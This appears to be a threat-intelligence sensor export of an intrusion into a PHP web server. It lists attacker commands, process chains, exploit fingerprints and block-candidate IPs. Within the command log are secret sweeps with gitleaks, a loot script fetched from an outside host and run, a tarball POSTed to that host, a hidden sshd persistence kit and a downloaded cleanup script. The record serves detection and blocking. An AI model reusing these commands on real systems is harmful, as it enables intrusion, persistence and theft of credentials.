Command/tmp/.loot-tools/gitleaks dir /etc --no-banner --no-color --report-format json --report-path /tmp/gl-_etc.json --max-target-megabytes 2 --exit-code 0Run by the spawned shell2026-10-31 01:35:552026-10-31 01:35:551
Command/tmp/.loot-tools/gitleaks dir /usr/local/etc --no-banner --no-color --report-format json --report-path /tmp/gl-_usr_local_etc.json --max-target-megabytes 2 --exit-code 0Run by the spawned shell2026-10-31 01:35:552026-10-31 01:35:551
Command/tmp/.loot-tools/gitleaks dir /var/www/html --no-banner --no-color --report-format json --report-path /tmp/gl-_var_www_html.json --max-target-megabytes 2 --exit-code 0Run by the spawned shell2026-10-31 01:35:552026-10-31 01:35:551
Commandbash -c cd /tmp; for d in /var/www/html /usr/local/etc /etc; do /tmp/.loot-tools/gitleaks dir $d --no-banner --no-color --report-format json --report-path /tmp/gl-$(echo $d|tr / _).json --max-target-megabytes 2 --exit-code 0 >/tmp/gl-$(echo $d|tr / _).log 2>&1; echo "d=$d rc=$?"; done; ls -l /tmp/glRun by the spawned shell2026-10-31 01:35:552026-10-31 01:35:551
Commandls -l /tmp/gl-_etc.json /tmp/gl-_usr_local_etc.json /tmp/gl-_var_www_html.jsonRun by the spawned shell2026-10-31 01:35:552026-10-31 01:35:551
Commandtr / _Run by the spawned shell2026-10-31 01:35:552026-10-31 01:35:551
Commandbash -c ls -la /tmp/service-documents 2>&1 | head; echo S1; ls -la /var/www/html/includes; echo S2; cat /var/www/html/includes/site.php | head -40; echo S3; cat /var/www/html/robots.txtRun by the spawned shell2026-10-31 01:36:012026-10-31 01:36:011
Commandcat /var/www/html/includes/site.phpRun by the spawned shell2026-10-31 01:36:012026-10-31 01:36:011
Commandcat /var/log/apache2/19-cron-systemd.txtRun by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commanddf -h / /var/log/apache2 /tmpRun by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandgrep -i upload_tmp\|auto_prepend /etc/php/*/apache2/php.iniRun by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandhead -6Run by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandls -ld /etc/apache2Run by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandls -ld /var/log/apache2Run by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandls -ld /var/www/html /var/www/html/includes /var/www/html/index.php /var/www/html/robots.txt /var/www/html/upload.phpRun by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandls /etc/apache2/conf-enabled/Run by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandls /etc/cron.dRun by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandreadlink -f /etc/apache2/apache2.confRun by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandtouch /var/www/html/.probe_j485Run by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandwhich crontab cronRun by the spawned shell2026-10-31 01:36:052026-10-31 01:36:051
Commandcat /usr/local/bin/docker-php-entrypointRun by the spawned shell2026-10-31 01:36:362026-10-31 01:36:361
Commandgrep -E CapEff|CapPrm|NoNewPrivs /proc/self/statusRun by the spawned shell2026-10-31 01:36:362026-10-31 01:36:361
Commandls -l /var/run/docker.sockRun by the spawned shell2026-10-31 01:36:362026-10-31 01:36:361
Commandls -ld /usr/local/bin /usr/local/libRun by the spawned shell2026-10-31 01:36:362026-10-31 01:36:361
Commandwhich sudo gcc perl python3Run by the spawned shell2026-10-31 01:36:362026-10-31 01:36:361
Commandgrep -n auto_prepend\|session.save_path /usr/local/etc/php/php.ini-productionRun by the spawned shell2026-10-31 01:37:032026-10-31 01:37:031
Commandhead -3Run by the spawned shell2026-10-31 01:37:032026-10-31 02:00:1910
Commandls -l /usr/local/etc/php/conf.d/Run by the spawned shell2026-10-31 01:37:032026-10-31 01:37:031
Commandls -ld /usr/local/etc /usr/local/etc/php /usr/local/etc/php/conf.dRun by the spawned shell2026-10-31 01:37:032026-10-31 01:37:031
Commandpgrep -af keep.shRun by the spawned shell2026-10-31 01:37:222026-10-31 01:37:221
Commanddf -h /var /tmpRun by the spawned shell2026-10-31 01:37:232026-10-31 01:37:231
Commandhead -4Run by the spawned shell2026-10-31 01:37:232026-10-31 01:48:232
Commandls -ld /var/spool /var/run /runRun by the spawned shell2026-10-31 01:37:232026-10-31 01:37:231
Commandls /etc/cron.dailyRun by the spawned shell2026-10-31 01:37:232026-10-31 01:37:231
Commandps -o pid,user,cmd -p 1Run by the spawned shell2026-10-31 01:37:232026-10-31 01:37:231
Commandtail -2Run by the spawned shell2026-10-31 01:37:232026-10-31 01:37:231
Commandfind /usr/bin /usr/sbin /bin /sbin -maxdepth 1 -type f -perm -4000Run by the spawned shell2026-10-31 01:37:562026-10-31 01:37:561
Commandls -l /usr/bin/sudoRun by the spawned shell2026-10-31 01:37:562026-10-31 01:37:561
Commandchsh -s /bin/bashRun by the spawned shell2026-10-31 01:38:132026-10-31 01:38:131
Commandcat /etc/shellsRun by the spawned shell2026-10-31 01:38:242026-10-31 01:38:241
Commandls -l /bin/sh /bin/bashRun by the spawned shell2026-10-31 01:38:242026-10-31 01:38:241
Command/var/log/apache2/.j/start.shRun by the spawned shell2026-10-31 01:38:292026-10-31 01:39:262
Commandchmod 755 /var/log/apache2/.j/start.shRun by the spawned shell2026-10-31 01:38:292026-10-31 01:38:291
Commandpgrep -af j/sshdRun by the spawned shell2026-10-31 01:38:422026-10-31 01:38:421
Commandtail -4 /var/log/apache2/.j/sshd.logRun by the spawned shell2026-10-31 01:38:422026-10-31 01:38:421
Commandbash -c id; hostname; ss -lnt 2>/dev/null | head -1; echo LOGIN_OKRun by the spawned shell2026-10-31 01:38:482026-10-31 01:38:481
Command/var/log/apache2/.j/watch.shRun by the spawned shell2026-10-31 01:39:002026-10-31 01:39:001
Commandchmod 755 /var/log/apache2/.j/watch.shRun by the spawned shell2026-10-31 01:39:002026-10-31 01:39:001
Commandhead -2Run by the spawned shell2026-10-31 01:39:002026-10-31 02:00:397
Commandpgrep -af watch.shRun by the spawned shell2026-10-31 01:39:002026-10-31 01:39:001
Commandpgrep -f /var/log/apache2/.j/sshd -fRun by the spawned shell2026-10-31 01:39:002026-10-31 01:39:262
Commandsetsid /var/log/apache2/.j/watch.shRun by the spawned shell2026-10-31 01:39:002026-10-31 01:39:001
Commandsleep 2Run by the spawned shell2026-10-31 01:39:002026-10-31 01:39:001
Commandsleep 30Run by the spawned shell2026-10-31 01:39:002026-10-31 01:39:262
Commandgrep -c Server listening /var/log/apache2/.j/sshd.logRun by the spawned shell2026-10-31 01:39:582026-10-31 02:01:452
Commandpgrep -af j/sshd -fRun by the spawned shell2026-10-31 01:39:582026-10-31 01:39:581
Commandls /usr/lib/apache2/modules/Run by the spawned shell2026-10-31 01:40:032026-10-31 01:40:031
Commandsh /tmp/collect.sh -i 1422 -n <REDACTED>-443-2Run by the spawned shell2026-10-31 01:40:172026-10-31 01:40:171
Commandfind /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443-2 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.lootRun by the spawned shell2026-10-31 01:42:052026-10-31 01:42:053
Commandgrep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir=<REDACTED>-443-2 --exclude-dir=collect-* --exclude-dir=recon-* --exclude-dir=.loot-tools --exclude=Run by the spawned shell2026-10-31 01:43:482026-10-31 01:43:481
Commandsh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='.loRun by the spawned shell2026-10-31 01:43:482026-10-31 01:43:481
Commandtimeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-443-2' --exclude-dir='collect-*' --exclude-dir='recon-*' --excluRun by the spawned shell2026-10-31 01:43:482026-10-31 01:43:481
Commandfind /var/www /srv /opt /home /tmp -xdev ( -path /tmp/<REDACTED>-443-2 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\nRun by the spawned shell2026-10-31 01:43:582026-10-31 01:43:581
Commandls -la /tmp/<REDACTED>-20261031.tgz /tmp/<REDACTED>-deep.tgz /tmp/t1.tgzRun by the spawned shell2026-10-31 01:43:582026-10-31 01:43:581
Commandpgrep -af collect.sh|tar Run by the spawned shell2026-10-31 01:43:582026-10-31 01:43:581
Commandsh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -type Run by the spawned shell2026-10-31 01:43:582026-10-31 01:43:581
Commandtail -3Run by the spawned shell2026-10-31 01:43:582026-10-31 01:49:152
Commandtail -3 /tmp/c2.outRun by the spawned shell2026-10-31 01:43:582026-10-31 01:43:581
Commandtimeout 40 sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-443-2" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prunRun by the spawned shell2026-10-31 01:43:582026-10-31 01:43:581
Commandgrep -E UPLOAD|META= /tmp/c2.outRun by the spawned shell2026-10-31 01:45:292026-10-31 01:46:512
Commandwc -l /tmp/c2.outRun by the spawned shell2026-10-31 01:45:292026-10-31 01:45:291
Commandcurl -sS --max-time 20 -o /tmp/.php-loot.4799.php http://206.245.153.56:8088/tools/php-loot.phpRun by the spawned shell2026-10-31 01:45:342026-10-31 01:45:341
Commandphp /tmp/.php-loot.4799.php /tmp/<REDACTED>-443-2/phpRun by the spawned shell2026-10-31 01:45:342026-10-31 01:45:341
Commandsh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php'Run by the spawned shell2026-10-31 01:45:342026-10-31 01:45:341
Commandtimeout 120 sh -c php '/tmp/.php-loot.4799.php' '/tmp/<REDACTED>-443-2/php'Run by the spawned shell2026-10-31 01:45:342026-10-31 01:45:341
Commandls -l /proc/4799/fdRun by the spawned shell2026-10-31 01:45:422026-10-31 01:45:421
Commandpgrep -d, -f collect.shRun by the spawned shell2026-10-31 01:45:422026-10-31 01:45:421
Commandps -o pid,ppid,stat,wchan:20,cmd -p 4799,6700,6701Run by the spawned shell2026-10-31 01:45:422026-10-31 01:45:421
Commandrm -f /tmp/.php-loot.4799.phpRun by the spawned shell2026-10-31 01:45:582026-10-31 01:45:581
Commandcat /tmp/<REDACTED>-443-2/23-php-loot.txtRun by the spawned shell2026-10-31 01:46:022026-10-31 01:46:021
Commandpgrep -af php .*php-lootRun by the spawned shell2026-10-31 01:46:022026-10-31 01:46:021
Commandfind /tmp/<REDACTED>-443-2/git -maxdepth 1 -mindepth 1 -type dRun by the spawned shell2026-10-31 01:46:202026-10-31 01:46:201
Commandcurl -sS --max-time 180 -o /dev/null -w %{http_code} -X POST --data-binary @/tmp/<REDACTED>-443-2.tgz http://206.245.153.56:8088/1422/<REDACTED>-443-2.tgzRun by the spawned shell2026-10-31 01:46:302026-10-31 01:46:301
Commandgrep -v bashRun by the spawned shell2026-10-31 01:46:512026-10-31 01:46:511
Commandgrep -E UPLOAD /tmp/c2.outRun by the spawned shell2026-10-31 01:47:332026-10-31 01:47:331
Commandgrep -E UPLOAD|TGZ /tmp/c2.outRun by the spawned shell2026-10-31 01:47:332026-10-31 01:47:331
Commandls -l /tmp/<REDACTED>-443-2.tgzRun by the spawned shell2026-10-31 01:47:332026-10-31 01:47:331
Commandawk {print $2}Run by the spawned shell2026-10-31 01:48:232026-10-31 01:48:231
Commandgrep -E :A5D6|:01BB /proc/net/tcpRun by the spawned shell2026-10-31 01:48:232026-10-31 01:48:231
Commandls -l /var/log/apache2/.jRun by the spawned shell2026-10-31 01:48:232026-10-31 01:48:231
Commandpgrep -af j/sshd -f|watch.shRun by the spawned shell2026-10-31 01:48:232026-10-31 02:01:452
Commandls /tmp/c.txtRun by the spawned shell2026-10-31 01:49:152026-10-31 01:49:151
Commandawk $2 ~ /:0050|:01BB/ /proc/net/tcpRun by the spawned shell2026-10-31 01:49:542026-10-31 01:49:541
Commandcurl -s -m 10 -o /dev/null -w ip=%{http_code}\n http://10.20.0.2/Run by the spawned shell2026-10-31 01:49:542026-10-31 01:49:541
Commandgrep -c /proc/net/tcpRun by the spawned shell2026-10-31 01:49:542026-10-31 01:49:541
Commandcat /proc/net/tcp6Run by the spawned shell2026-10-31 01:50:092026-10-31 01:50:091
Commandls -l /proc/net/nsRun by the spawned shell2026-10-31 01:50:092026-10-31 01:50:091
Commandreadlink /proc/1/ns/netRun by the spawned shell2026-10-31 01:50:092026-10-31 01:50:091
Commandreadlink /proc/self/ns/netRun by the spawned shell2026-10-31 01:50:092026-10-31 01:50:091
Commandgrep -c [a]pache2Run by the spawned shell2026-10-31 01:53:362026-10-31 01:53:361
Commandgrep [a]pache2Run by the spawned shell2026-10-31 01:53:362026-10-31 01:58:123
Commandtail -3 /var/log/apache2/error.logRun by the spawned shell2026-10-31 01:53:362026-10-31 01:53:361
Commandgrep -E State|Threads /proc/64/statusRun by the spawned shell2026-10-31 01:53:552026-10-31 01:53:551
Commandls -l /proc/64/statusRun by the spawned shell2026-10-31 01:53:552026-10-31 01:53:551
Commandls /var/log/apache2/access.log /var/log/apache2/error.log /var/log/apache2/other_vhosts_access.logRun by the spawned shell2026-10-31 01:53:552026-10-31 01:53:551
Commandps -eo pid,stat,etime,cmdRun by the spawned shell2026-10-31 01:53:552026-10-31 01:53:551
Commandls -l /proc/64/fdRun by the spawned shell2026-10-31 01:57:292026-10-31 02:00:192
Commandstat -c %s %n /var/log/apache2/access.logRun by the spawned shell2026-10-31 01:57:292026-10-31 01:57:291
Commandcat /proc/1/wchanRun by the spawned shell2026-10-31 01:58:122026-10-31 02:00:392
Commandcat /proc/64/wchanRun by the spawned shell2026-10-31 01:58:122026-10-31 02:00:392
Commandps -eo pid,ppid,stat,etime,cmdRun by the spawned shell2026-10-31 01:58:122026-10-31 01:58:182
Commandhead -c 100 /var/log/apache2/.j/sshd_configRun by the spawned shell2026-10-31 01:59:212026-10-31 01:59:211
Commandhead -c 100 /var/log/apache2/.j/w.probeRun by the spawned shell2026-10-31 01:59:212026-10-31 01:59:211
Commandhead -c 50 /var/log/apache2/error.logRun by the spawned shell2026-10-31 01:59:212026-10-31 01:59:211
Commandsh -c echo probe > /var/log/apache2/.j/w.probeRun by the spawned shell2026-10-31 01:59:212026-10-31 01:59:211
Commandtimeout 5 head -c 100 /var/log/apache2/.j/sshd_configRun by the spawned shell2026-10-31 01:59:212026-10-31 01:59:211
Commandtimeout 5 head -c 100 /var/log/apache2/.j/w.probeRun by the spawned shell2026-10-31 01:59:212026-10-31 01:59:211
Commandtimeout 5 head -c 50 /var/log/apache2/error.logRun by the spawned shell2026-10-31 01:59:212026-10-31 01:59:211
Commandtimeout 5 sh -c echo probe > /var/log/apache2/.j/w.probeRun by the spawned shell2026-10-31 01:59:212026-10-31 01:59:211
Commandcat /proc/64/stackRun by the spawned shell2026-10-31 02:00:192026-10-31 02:00:191
Commandgrep -c socketRun by the spawned shell2026-10-31 02:00:192026-10-31 02:00:191
Commandcat /proc/sys/fs/file-nrRun by the spawned shell2026-10-31 02:00:392026-10-31 02:00:391
CommanddateRun by the spawned shell2026-10-31 02:00:392026-10-31 02:00:391
Commanddf -i /Run by the spawned shell2026-10-31 02:00:392026-10-31 02:00:391
Commandls /proc/64/fdRun by the spawned shell2026-10-31 02:00:392026-10-31 02:00:391
Commandtail -1Run by the spawned shell2026-10-31 02:00:392026-10-31 02:00:391
Commandcurl -sS http://206.245.153.56:8088/tools/cleanup.sh -o /tmp/cleanup.shRun by the spawned shell2026-11-04 21:27:592026-11-04 21:28:313
Commandfind /var/www -name .htaccess -exec grep -l AddHandler.*x-httpd-php.*\.css {} ;Run by the spawned shell2026-11-04 21:28:062026-11-04 21:28:443
Commandfind /var/www -name .htaccess -exec grep -l j332pre\|j375boot\|zz-persist\|\.zz\.php {} ;Run by the spawned shell2026-11-04 21:28:062026-11-04 21:28:443
Commandfind /var/www -name .zz.phpRun by the spawned shell2026-11-04 21:28:062026-11-04 21:28:473
Commandfind /var/www -name .zz.sh -exec grep -l 206\.245\.153\.56 {} ;Run by the spawned shell2026-11-04 21:28:062026-11-04 21:28:473
Commandfind /var/www -name index.php -exec grep -l j336beacon {} ;Run by the spawned shell2026-11-04 21:28:062026-11-04 21:28:443
Commandfind /var/www -name zz-persist.config.php -exec grep -l 206\.245\.153\.56 {} ;Run by the spawned shell2026-11-04 21:28:062026-11-04 21:28:473
Commandfind /var/www -type f -name *.php -exec grep -l 206\.245\.153\.56 {} ;Run by the spawned shell2026-11-04 21:28:062026-11-04 21:28:443
Commandreadlink -f /var/www/.ssh/authorized_keysRun by the spawned shell2026-11-04 21:28:062026-11-04 21:28:446
Commandrm -f /tmp/.c1104Run by the spawned shell2026-11-04 21:28:062026-11-04 21:28:061
Commandbash /tmp/cleanup.shRun by the spawned shell2026-11-04 21:28:312026-11-04 21:28:352
Commandgrep -qF /root/.ssh/authorized_keysRun by the spawned shell2026-11-04 21:28:312026-11-04 21:28:311
Commandgrep -qF /var/root/.ssh/authorized_keysRun by the spawned shell2026-11-04 21:28:312026-11-04 21:28:311
Commandgrep -qF /var/www/.ssh/authorized_keysRun by the spawned shell2026-11-04 21:28:312026-11-04 21:28:311
Commandrm -f /tmp/.c1422Run by the spawned shell2026-11-04 21:28:442026-11-04 21:28:441
Commandrm -f /tmp/.c1425Run by the spawned shell2026-11-04 21:28:472026-11-04 21:28:471
Process chainapache2 -> shWeb server spawned a shell on the sensor2026-10-28 05:14:012026-10-31 18:30:4110
Process chainapache2 -> apache2Web server spawned a shell on the sensor2026-10-29 19:56:402026-10-31 00:39:282
Process chainbash -> bashWeb server spawned a shell on the sensor2026-10-29 19:56:462026-11-04 21:28:47302
Process chainsh -> shWeb server spawned a shell on the sensor2026-10-29 20:04:072026-10-31 01:46:30750
Process chaintimeout -> timeoutWeb server spawned a shell on the sensor2026-10-29 20:04:072026-10-31 01:45:3498
Process chainapache2 -> setsidWeb server spawned a shell on the sensor2026-10-31 00:27:472026-10-31 00:27:471
Process chainbash -> shWeb server spawned a shell on the sensor2026-10-31 01:12:012026-10-31 01:12:011
Process chaindropbear -> dropbearWeb server spawned a shell on the sensor2026-10-31 01:20:442026-10-31 01:38:4813
Process chainsshd -> sshdWeb server spawned a shell on the sensor2026-10-31 01:35:462026-10-31 02:02:1133
Process chaindropbear -> bashWeb server spawned a shell on the sensor2026-10-31 01:35:552026-10-31 01:35:551
Process chainsshd -> bashWeb server spawned a shell on the sensor2026-10-31 01:39:002026-10-31 01:58:183
Process chainwatch.sh -> watch.shWeb server spawned a shell on the sensor2026-10-31 01:39:262026-10-31 01:39:261
JA4Hge11nn030000_52193b36b64e_000000000000_000000000000Exploit HTTP request fingerprint2026-10-28 05:13:452026-10-31 18:31:217
JA4Hpo11nn050000_c79a52b7736c_000000000000_000000000000Exploit HTTP request fingerprint2026-10-28 05:13:452026-10-31 18:31:217
JA4Hpo11nn040000_0f012dde03cf_000000000000_000000000000Exploit HTTP request fingerprint2026-10-29 19:55:432026-10-31 00:38:12270
JA4Hpo11cn040000_0f012dde03cf_fe81d65a9ab0_2b5ca3dd2edcExploit HTTP request fingerprint2026-10-29 19:56:292026-10-31 00:31:35206
JA4T64240_2-4-8-1-3_1460_7Exploit TCP client fingerprint2026-10-28 05:13:452026-10-31 18:31:21333
JA4T64240_2-4-8-1-3_1460_9Exploit TCP client fingerprint2026-10-29 01:38:222026-10-31 00:36:20225
JA4T64320_2-4-8-1-3_1340_7Exploit TCP client fingerprint2026-10-31 00:35:232026-10-31 01:00:54294
Request Content-Typemultipart/form-data; boundary=----lfExploit request body (multipart boundary)2026-10-28 05:13:452026-10-31 18:31:217
Request Content-Typemultipart/form-data; boundary=----rceStockExploit request body (multipart boundary)2026-10-28 05:13:452026-10-31 18:30:337
Request Content-Typemultipart/form-data; boundary=BBBBBBBBBBExploit request body (multipart boundary)2026-10-29 19:55:432026-10-31 00:38:12270
Request Content-Typemultipart/form-data; boundary=SSSSSSSSSSSSSSSSSExploit request body (multipart boundary)2026-10-29 19:55:432026-10-31 01:36:09551
GreyNoise tagPHP CVE-2026-109618 Memory Corruption Exploit AttemptFired on the exploit session2026-10-28 05:13:452026-10-31 18:31:21558
GreyNoise tagPHP Request Memory Exhaustion AttemptFired on the exploit session2026-10-28 05:13:452026-10-31 18:31:21558
GreyNoise tagMissing User-Agent Header AttemptFired on the exploit session2026-10-31 00:35:232026-10-31 00:35:371
Indicators Associated with Exploitation Attempts

Click any column header to sort; click again to reverse.

Block candidates (396)

malicious + any block-recommended tag (Memory Corruption Exploit, Request Memory Exhaustion, Session Poisoning) + spoofable:false

IPClassTagsOrgASNCountryCategory / BSIFirst trackedGN first_seenLast seenSpoofablesensor_count
3.68.250.21maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingAmazon.com, Inc.AS16509GermanyAmazon EC22026-10-27 21:49:042026-10-222026-10-22 04:37:58false1
5.34.220.134maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingAkari NetworksAS38136Japanhosting2026-10-27 21:49:042021-11-102026-10-28 13:50:01false58
5.104.86.24maliciousActivity + Session PoisoningContabo Asia Private LimitedAS141995Japanhosting2026-10-27 21:49:042025-07-152026-10-29 15:55:06false2
5.112.76.18maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingIran Cell Service and Communication CompanyAS44244Iranisp2026-10-27 21:49:042021-09-162026-10-25 23:06:07false1
5.161.255.209maliciousActivity + Session Poisoning + php2shell-Labeled ToolingHetzner Online GmbHAS213230United Stateshosting2026-10-27 21:49:042026-10-212026-10-22 17:37:54false212
5.181.181.168maliciousActivity + Memory Corruption ExploitMynymbox Hosting LLCAS211673Finlandhosting2026-10-27 21:49:042026-10-162026-10-28 21:57:27false91
5.189.160.29maliciousActivity + Session Poisoning + php2shell-Labeled ToolingContabo GmbHAS51167FranceContabo2026-10-27 21:49:042026-10-202026-10-21 18:53:42false2
5.189.184.114maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + Session Poisoning + php2shell-Labeled ToolingContabo GmbHAS51167FranceContabo2026-10-27 21:49:042026-10-212026-10-22 03:38:40false30
5.231.118.119maliciousActivity + Session Poisoning + php2shell-Labeled ToolingTom GewieseAS215365Netherlandshosting2026-10-27 21:49:042026-10-222026-10-23 03:44:48false3
5.255.114.109maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingLiteserverAS60404Netherlandshosting2026-10-27 21:49:042026-09-092026-11-07 03:05:51false5296
13.201.109.35maliciousActivity + Session PoisoningAmazon.com, Inc.AS16509IndiaAmazon EC22026-10-27 21:49:042026-09-092026-10-24 23:50:00false35
13.216.152.122maliciousSession PoisoningAmazon.com, Inc.AS14618United StatesAmazon EC22026-10-27 21:49:042026-10-222026-10-22 16:23:31false31
18.234.199.237maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingAmazon.com, Inc.AS14618United StatesAmazon EC22026-10-27 21:49:042026-10-222026-10-29 04:52:48false1
20.24.237.207maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingMicrosoft CorporationAS8075Hong KongAzure2026-10-27 21:49:042026-09-292026-10-22 03:03:28false2
20.87.120.146maliciousActivity + Session Poisoning + php2shell-Labeled ToolingMicrosoft CorporationAS8075South AfricaAzure2026-10-27 21:49:042026-03-222026-10-23 21:00:05false1
20.200.234.181maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingMicrosoft CorporationAS8075South KoreaAzure2026-10-27 21:49:042026-03-092026-11-03 06:39:22false492
20.204.147.74maliciousActivity + Request Memory Exhaustion + Session Poisoning + php2shell-Labeled ToolingMicrosoft CorporationAS8075IndiaAzure2026-10-27 21:49:042026-07-022026-10-27 22:04:39false70
23.26.237.221maliciousActivity + Session Poisoning + php2shell-Labeled ToolingEvoxt Sdn. Bhd.AS149440Netherlandshosting2026-10-27 21:49:042026-08-282026-10-27 18:34:43false1
23.106.131.214maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingIT7 Networks IncAS25820Japanhosting2026-10-27 21:49:042022-03-022026-10-24 12:56:04false58
23.234.113.169maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled Toolingtzulo, inc.AS11878United Stateshosting2026-10-27 21:49:042025-07-092026-10-30 14:48:18false15
23.234.117.66maliciousActivity + Session Poisoningtzulo, inc.AS11878United Stateshosting2026-10-27 21:49:042025-07-132026-11-05 21:57:34false19
23.238.31.189maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingHostPapaAS36352United Stateshosting2026-10-27 21:49:042026-07-232026-10-27 02:55:39false2
27.100.38.10maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingTier 4 Cloud ServicesAS146943Indiahosting2026-10-27 21:49:042026-10-232026-11-05 11:52:30false515
31.182.51.55maliciousActivity + Session Poisoning + php2shell-Labeled ToolingToya sp.z.o.oAS16342Polandisp2026-10-27 21:49:042026-10-212026-10-23 10:51:26false1063
34.136.122.211maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingGoogle LLCAS396982United StatesGoogle Cloud2026-10-27 21:49:042026-10-222026-10-22 07:42:20false100
35.154.84.153maliciousActivity + Session Poisoning + php2shell-Labeled ToolingAmazon.com, Inc.AS16509IndiaAmazon EC22026-10-27 21:49:042026-03-092026-10-25 22:00:36false2
37.19.198.236maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingDatacamp LimitedAS212238United Stateshosting2026-10-27 21:49:042024-12-042026-11-06 15:25:12false45
37.27.209.157maliciousActivity + Session Poisoning + php2shell-Labeled ToolingHetzner Online GmbHAS24940Finlandhosting2026-10-27 21:49:042026-10-212026-10-28 11:09:15false850
38.60.206.217maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingLIGHT NODE LIMITEDAS154177United Stateshosting2026-10-27 21:49:042026-09-292026-11-03 07:34:23false52
38.180.45.91maliciousActivity + Session Poisoning + php2shell-Labeled ToolingAktsiaselts WaveComAS34702Estoniahosting2026-10-27 21:49:042026-10-142026-11-06 06:34:48false13
38.180.230.11maliciousActivity + Session Poisoning + php2shell-Labeled ToolingAktsiaselts WaveComAS34702Estoniahosting2026-10-27 21:49:042026-10-212026-10-31 11:01:51false43
38.180.230.216maliciousActivity + Session Poisoning + php2shell-Labeled ToolingAktsiaselts WaveComAS34702Estoniahosting2026-10-27 21:49:042026-10-192026-10-25 13:41:42false207
45.78.14.116maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingIT7 Networks IncAS25820United Stateshosting2026-10-27 21:49:042026-10-232026-10-23 12:43:18false9
45.115.26.26maliciousActivity + Session PoisoningSolidCore Hosting LTDAS199457Netherlandshosting2026-10-27 21:49:042026-10-062026-11-08 15:28:45false529
45.136.71.89maliciousActivity + Session Poisoning + php2shell-Labeled ToolingWebdock.io ApSAS44803Denmarkhosting2026-10-27 21:49:042026-10-212026-10-23 06:49:55false471
45.148.10.80maliciousActivity + Session PoisoningTECHOFF SRV LIMITEDAS48090Netherlandshosting2026-10-27 21:49:042025-10-272026-11-08 12:27:07false352
45.148.10.201maliciousActivity + Session PoisoningTECHOFF SRV LIMITEDAS48090Netherlandshosting2026-10-27 21:49:042024-09-172026-11-02 04:48:24false407
45.156.87.44maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingTechTies Inc.AS197170Netherlandshosting2026-10-27 21:49:042025-07-092026-11-08 15:33:26false6623
45.198.224.169maliciousActivity + Memory Corruption Exploit + php2shell-Labeled ToolingVPSVAULT.HOST LTDAS215925Canadahosting2026-10-27 21:49:042026-10-012026-11-01 02:19:28false6835
46.7.145.54maliciousActivity + Session PoisoningLiberty Global Europe Holding B.V.AS6830Irelandisp2026-10-27 21:49:042026-10-222026-10-26 07:53:13false699
46.101.229.142maliciousActivity + Memory Corruption Exploit + Request Memory Exhaustion + php2shell-Labeled ToolingDigitalOcean, LLCAS14061GermanyDigitalOcean2026-10-27 21:49:042026-03-152026-10-22 02:32:59false2
46.205.208.16maliciousActivity + Session Poisoning + php2shell-Labeled ToolingT-Mobile Polska S.A.AS12912Polandisp2026-10-27 21:49:042026-06-062026-10-28 22:20:14false1
47.250.155.133maliciousMemory Corruption Exploit + Request Memory ExhaustionAlibaba (US) Technology Co., Ltd.AS45102Malaysiahosting2026-10-27 21:49:042026-10-232026-10-30 02:41:28false2538
